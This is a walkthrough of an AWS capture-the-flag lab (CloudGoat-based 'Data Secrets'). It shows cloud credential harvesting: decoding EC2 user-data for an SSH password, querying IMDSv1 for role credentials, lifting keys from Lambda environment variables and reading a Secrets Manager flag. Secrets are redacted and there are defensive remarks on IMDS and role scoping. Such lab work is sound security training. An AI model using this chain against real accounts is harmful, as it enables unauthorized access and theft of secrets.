Data Secrets Walkthrough
Lab Info
Section titled “Lab Info”Lab Name: Data Secrets
Difficulty: Medium
Author: Tyler Ramsbey
Lab Link: Hack Smarter
Objective and Scope
Section titled “Objective and Scope”In this Hack Smarter AWS lab, the client wants to know whether an attacker can access their Secrets Manager data.
We start with the supplied credentials and need to move laterally and escalate privileges to reach AWS Secrets Manager, where the final flag is stored.
1. Initial Access & Enumeration
Section titled “1. Initial Access & Enumeration”1.1 Breached Scenario Credentials
Section titled “1.1 Breached Scenario Credentials”start_user_access_key = AKIA****************start_user_secret_key = [REDACTED]1.2 Setting up the AWS CLI
Section titled “1.2 Setting up the AWS CLI”aws configure --profile data_secretsAWS Access Key ID [None]: AKIA****************AWS Secret Access Key [None]: [REDACTED]Default region name [None]: us-east-1Default output format [None]: json1.3 Verifying the Credentials
Section titled “1.3 Verifying the Credentials”We first check whether the supplied credentials work.
aws sts get-caller-identity --profile data_secrets{ "UserId": "AIDA****************", "Account": "XXXXXXXXXXXX", "Arn": "arn:aws:iam::XXXXXXXXXXXX:user/cg-start-user-cgidqocsjzvt7u"}- The credentials work, so we can start enumerating AWS services.
1.4 EC2 Instance Enumeration
Section titled “1.4 EC2 Instance Enumeration”After enumerating several services, I found an EC2 instance we could access.
aws ec2 describe-instances --profile data_secrets{ "Reservations": [ { "ReservationId": "r-****************", "OwnerId": "XXXXXXXXXXXX", "Groups": [], "Instances": [ { "Architecture": "x86_64", "BlockDeviceMappings": [ { "DeviceName": "/dev/xvda", "Ebs": { "AttachTime": "2026-03-29T16:07:14+00:00", "DeleteOnTermination": true, "Status": "attached", "VolumeId": "vol-****************" } } ], "IamInstanceProfile": { "Arn": "arn:aws:iam::XXXXXXXXXXXX:instance-profile/cg-ec2-instance-profile-cgidqocsjzvt7u", "Id": "AIPA****************" }, "NetworkInterfaces": [ { "Association": { "IpOwnerId": "amazon", "PublicDnsName": "", "PublicIp": "XX.XXX.XXX.XXX" }, "PrivateIpAddress": "10.0.1.42" } ], "Tags": [ { "Key": "Name", "Value": "cg-sensitive-ec2-cgidqocsjzvt7u" }, { "Key": "Scenario", "Value": "scenario_template" }, { "Key": "Stack", "Value": "CloudGoat" } ], "MetadataOptions": { "State": "applied", "HttpTokens": "optional", "HttpPutResponseHopLimit": 1, "HttpEndpoint": "enabled", "InstanceMetadataTags": "disabled" }, "InstanceId": "i-****************", "ImageId": "ami-****************", "State": { "Code": 16, "Name": "running" }, "PublicIpAddress": "XX.XXX.XXX.XXX" } ] } ]}EC2 findings:
- IMDSv1 requests are allowed; assess whether a shell or a server-side request path can reach metadata.
- InstanceMetadataTags is disabled. Tag exposure is independent of requiring IMDSv2 tokens.
- Public IP:
XX.XXX.XXX.XXX - Instance ID:
i-****************
2. EC2 Instance Compromise
Section titled “2. EC2 Instance Compromise”2.1 Network Discovery Using RustScan
Section titled “2.1 Network Discovery Using RustScan”rustscan -a XX.XXX.XXX.XXX.----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'The Modern Day Port Scanner.
Open XX.XXX.XXX.XXX:22- SSH is open. We can keep looking for credentials.
2.2 Retrieving EC2 User-Data
Section titled “2.2 Retrieving EC2 User-Data”aws ec2 describe-instance-attribute --instance-id i-**************** --attribute userData --profile data_secrets{ "InstanceId": "i-****************", "UserData": { "Value": "IyEvYmluL2Jhc2gKZWNobyAiZWMyLXVzZXI6Q2xvdWRHb2F0SW5zdGFuY2VQYXNzd29yZCEiIHwgY2hwYXNzd2QKc2VkIC1pICdzL1Bhc3N3b3JkQXV0aGVudGljYXRpb24gbm8vUGFzc3dvcmRBdXRoZW50aWNhdGlvbiB5ZXMvZycgL2V0Yy9zc2gvc3NoZF9jb25maWcKc2VydmljZSBzc2hkIHJlc3RhcnQK" }}It’s a base64-encoded script. Let’s decode it to see what it contains.
2.3 Decoding the User-Data
Section titled “2.3 Decoding the User-Data”
#!/bin/bashecho "ec2-user:[REDACTED]" | chpasswdsed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_configservice sshd restart- The script sets the
ec2-userpassword and enables password authentication. We have SSH credentials!
2.4 Shell as EC2-User
Section titled “2.4 Shell as EC2-User”
- We have our initial foothold and can continue enumeration.
3. Instance Metadata Service (IMDS) Exploitation
Section titled “3. Instance Metadata Service (IMDS) Exploitation”These requests run from the SSH session on the instance. IMDSv2’s token exchange is available to code on that host too; requiring it does not prevent a compromised workload from using its own role. Limit that role’s permissions and investigate the SSH foothold as well as metadata access. See AWS’s IMDS documentation.
3.1 Session Enumeration as EC2-User
Section titled “3.1 Session Enumeration as EC2-User”[ec2-user@ip-10-0-1-42 ~]$ aws sts get-caller-identity{ "Account": "XXXXXXXXXXXX", "UserId": "AROA****************:i-****************", "Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/cg-ec2-role-cgidqocsjzvt7u/i-****************"}We check our identity and find the role cg-ec2-role-cgidqocsjzvt7u.
IMDSv1 is enabled, so we request the role credentials from our SSH session.
3.2 Exploiting IMDSv1
Section titled “3.2 Exploiting IMDSv1”[ec2-user@ip-10-0-1-42 ~]$ curl http://169.254.169.254/latest/meta-data/ami-idami-launch-indexami-manifest-pathblock-device-mapping/events/hibernation/hostnameiam/identity-credentials/instance-actioninstance-idinstance-life-cycleinstance-typelocal-hostnamelocal-ipv4macmetrics/network/placement/profilepublic-hostnamepublic-ipv4reservation-idsecurity-groupsservices/- The metadata service is accessible. Let’s grab the IAM role credentials.
3.3 Extracting IAM Role Credentials
Section titled “3.3 Extracting IAM Role Credentials”[ec2-user@ip-10-0-1-42 ~]$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidqocsjzvt7u{ "Code" : "Success", "LastUpdated" : "2026-03-29T16:52:58Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA****************", "SecretAccessKey" : "[REDACTED]", "Token" : "[REDACTED]", "Expiration" : "2026-03-29T23:04:26Z"}- We extracted temporary credentials for the EC2 role.
4. Lateral Movement via IAM Role
Section titled “4. Lateral Movement via IAM Role”4.1 Configuring Access as cg-ec2-role
Section titled “4.1 Configuring Access as cg-ec2-role”aws configure --profile cg-ec2AWS Access Key ID [None]: ASIA****************AWS Secret Access Key [None]: [REDACTED]Default region name [None]: us-east-1Default output format [None]: jsonAdd the session token under [cg-ec2] in ~/.aws/credentials; AWS CLI configuration does not prompt for it:
[cg-ec2]aws_access_key_id = REDACTED_TEMP_ACCESS_KEYaws_secret_access_key = REDACTED_TEMP_SECRET_KEYaws_session_token = REDACTED_SESSION_TOKEN4.2 Verify Access
Section titled “4.2 Verify Access”aws sts get-caller-identity --profile cg-ec2{ "UserId": "AROA****************:i-****************", "Account": "XXXXXXXXXXXX", "Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/cg-ec2-role-cgidqocsjzvt7u/i-****************"}- The credentials work. We can enumerate further.
4.3 Lambda Enumeration
Section titled “4.3 Lambda Enumeration”While listing Lambda functions, we find credentials for a database user.
aws lambda list-functions --region us-east-1 --profile cg-ec2{ "Functions": [ { "FunctionName": "cg-lambda-function-cgidqocsjzvt7u", "FunctionArn": "arn:aws:lambda:us-east-1:XXXXXXXXXXXX:function:cg-lambda-function-cgidqocsjzvt7u", "Runtime": "python3.9", "Role": "arn:aws:iam::XXXXXXXXXXXX:role/cg-lambda-exec-role-cgidqocsjzvt7u", "Handler": "lambda_function.lambda_handler", "Environment": { "Variables": { "DB_USER_ACCESS_KEY": "AKIA****************", "DB_USER_SECRET_KEY": "[REDACTED]" } }, "LastModified": "2026-03-29T16:07:09.070+0000" } ]}- We found another user’s credentials in the function’s environment variables.
5. Privilege Escalation to Secrets Manager
Section titled “5. Privilege Escalation to Secrets Manager”5.1 Configuring Access as DB-User
Section titled “5.1 Configuring Access as DB-User”aws configure --profile db-userAWS Access Key ID [None]: AKIA****************AWS Secret Access Key [None]: [REDACTED]Default region name [None]: us-east-1Default output format [None]: json5.2 Verify Access
Section titled “5.2 Verify Access”aws sts get-caller-identity --profile db-user{ "UserId": "AIDA****************", "Account": "XXXXXXXXXXXX", "Arn": "arn:aws:iam::XXXXXXXXXXXX:user/cg-lambda-user-cgidqocsjzvt7u"}- We have access as this user and can check Secrets Manager.
5.3 Secrets Manager Enumeration
Section titled “5.3 Secrets Manager Enumeration”We try accessing Secrets Manager as this user.
aws secretsmanager list-secrets --profile db-user{ "SecretList": [ { "ARN": "arn:aws:secretsmanager:us-east-1:XXXXXXXXXXXX:secret:cg-final-flag-cgidqocsjzvt7u-******", "Name": "cg-final-flag-cgidqocsjzvt7u", "Description": "The final flag for the CloudGoat scenario", "LastChangedDate": "2026-03-29T21:37:00.622000+05:30", "LastAccessedDate": "2026-03-29T05:30:00+05:30", "Tags": [ { "Key": "Scenario", "Value": "scenario_template" }, { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Name", "Value": "cg-final-flag-cgidqocsjzvt7u" } ], "SecretVersionsToStages": { "terraform-********************": [ "AWSCURRENT" ] }, "CreatedDate": "2026-03-29T21:37:00.349000+05:30" } ]}- Found the secret-id:
cg-final-flag-cgidqocsjzvt7u
5.4 Final Flag
Section titled “5.4 Final Flag”aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidqocsjzvt7u --profile db-user{ "ARN": "arn:aws:secretsmanager:us-east-1:XXXXXXXXXXXX:secret:cg-final-flag-cgidqocsjzvt7u-******", "Name": "cg-final-flag-cgidqocsjzvt7u", "VersionId": "terraform-********************", "SecretString": "{\"flag\":\"<REDACTED>\"}", "VersionStages": [ "AWSCURRENT" ], "CreatedDate": "2026-03-29T21:37:00.618000+05:30"}- We found and submitted the flag!
6. Attack Summary
Section titled “6. Attack Summary”- Started with compromised IAM user credentials (
cg-start-user) with EC2 describe permissions - Enumerated EC2 instances and found a publicly accessible instance with IMDSv1 enabled
- Retrieved EC2 user data containing plaintext SSH credentials for
ec2-user - Gained SSH access to the EC2 instance
- Used the SSH foothold to query instance metadata and retrieve temporary IAM role credentials. This is a local metadata read, not an SSRF exploit.
- Used EC2 role credentials to enumerate AWS Lambda functions
- Discovered hardcoded database user credentials in Lambda function environment variables
- Used database user credentials to access AWS Secrets Manager
- Retrieved the final flag from Secrets Manager
Thank you to Hack Smarter Labs for creating this educational AWS security lab.